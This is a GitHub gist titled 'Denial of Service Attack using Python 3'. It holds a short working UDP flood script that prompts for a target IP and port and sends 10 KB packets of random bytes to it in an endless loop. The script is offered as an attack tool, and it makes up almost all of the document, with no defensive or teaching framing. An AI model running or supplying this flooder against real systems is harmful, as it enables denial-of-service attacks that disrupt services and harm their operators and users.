Skip to content

Instantly share code, notes, and snippets.

@jan-muhammad-zaidi
Created June 21, 2021 05:37
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save jan-muhammad-zaidi/2ff2302ca6b7db074448c85d148967f6 to your computer and use it in GitHub Desktop.
Save jan-muhammad-zaidi/2ff2302ca6b7db074448c85d148967f6 to your computer and use it in GitHub Desktop.
Denial of Service Attack using Python 3
import socket
import random
sock = socket.socket(socket.AF_INET,socket.SOCK_DGRAM)
bytes = random._urandom(10248)
ip = input("Target IP: ")
port = int(input("Enter Port: "))
sent = 0
while 1:
sock.sendto(bytes,(ip,port))
print("Sent %s amount of packets to %s at port %s" % (sent,ip,port))
sent = sent + 1
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment